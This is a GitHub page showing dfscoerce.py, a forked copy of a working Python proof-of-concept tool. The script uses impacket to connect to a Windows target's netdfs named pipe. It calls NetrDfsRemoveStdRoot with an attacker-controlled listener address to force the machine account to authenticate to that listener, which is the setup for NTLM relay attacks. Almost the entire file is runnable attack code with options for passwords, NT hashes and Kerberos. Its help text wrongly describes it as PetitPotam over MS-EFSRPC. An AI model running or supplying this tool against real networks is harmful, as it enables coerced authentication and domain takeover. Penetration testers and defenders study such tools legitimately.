forked from Wh04m1001/DFSCoerce
-
Notifications
You must be signed in to change notification settings - Fork 0
/
dfscoerce.py
126 lines (102 loc) · 5.48 KB
/
dfscoerce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
#
# Most of this code is stolen from PetitPotam (@topotam)
# https://github.com/topotam/PetitPotam
import sys
import argparse
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return 'DFSNM SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
else:
return 'DFSNM SessionError: unknown error code: 0x%x' % self.error_code
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
('ServerName', WSTR),
('RootShare', WSTR),
('ApiFlags', DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (
('ErrorCode', ULONG),
)
class TriggerAuth():
def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost, targetIp):
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netdfs]' % target)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
if targetIp:
rpctransport.setRemoteHost(targetIp)
dce = rpctransport.get_dce_rpc()
print("[-] Connecting to %s" % r'ncacn_np:%s[\PIPE\netdfs]' % target)
try:
dce.connect()
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
return
try:
dce.bind(uuidtup_to_bin(('4FC742E0-4A10-11CF-8273-00AA004AE673', '3.0')))
except Exception as e:
print("Something went wrong, check error status => %s" % str(e))
return
print("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
print("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request['ServerName'] = '%s\x00' % listener
request['RootShare'] = 'test\x00'
request['ApiFlags'] = 1
request.dump()
resp = dce.request(request)
except Exception as e:
print(e)
def main():
parser = argparse.ArgumentParser(add_help=True, description="PetitPotam - rough PoC to connect to lsarpc and elicit machine account authentication via MS-EFSRPC NetrDfsRemoveStdRoot()")
parser.add_argument('-u', '--username', action="store", default='', help='valid username')
parser.add_argument('-p', '--password', action="store", default='', help='valid password (if omitted, it will be asked unless -no-pass)')
parser.add_argument('-d', '--domain', action="store", default='', help='valid domain name')
parser.add_argument('-hashes', action="store", metavar="[LMHASH]:NTHASH", help='NT/LM hashes (LM hash can be empty)')
parser.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
parser.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials '
'cannot be found, it will use the ones specified in the command '
'line')
parser.add_argument('-dc-ip', action="store", metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter')
parser.add_argument('-target-ip', action='store', metavar="ip address",
help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
'This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it')
parser.add_argument('listener', help='ip address or hostname of listener')
parser.add_argument('target', help='ip address or hostname of target')
options = parser.parse_args()
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
else:
lmhash = ''
nthash = ''
if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
from getpass import getpass
options.password = getpass("Password:")
trigger = TriggerAuth()
dce = trigger.connect(username=options.username, password=options.password, domain=options.domain, lmhash=lmhash, nthash=nthash, target=options.target, doKerberos=options.k, dcHost=options.dc_ip, targetIp=options.target_ip)
if dce is not None:
trigger.NetrDfsRemoveStdRoot(dce, options.listener)
dce.disconnect()
sys.exit()
if __name__ == '__main__':
main()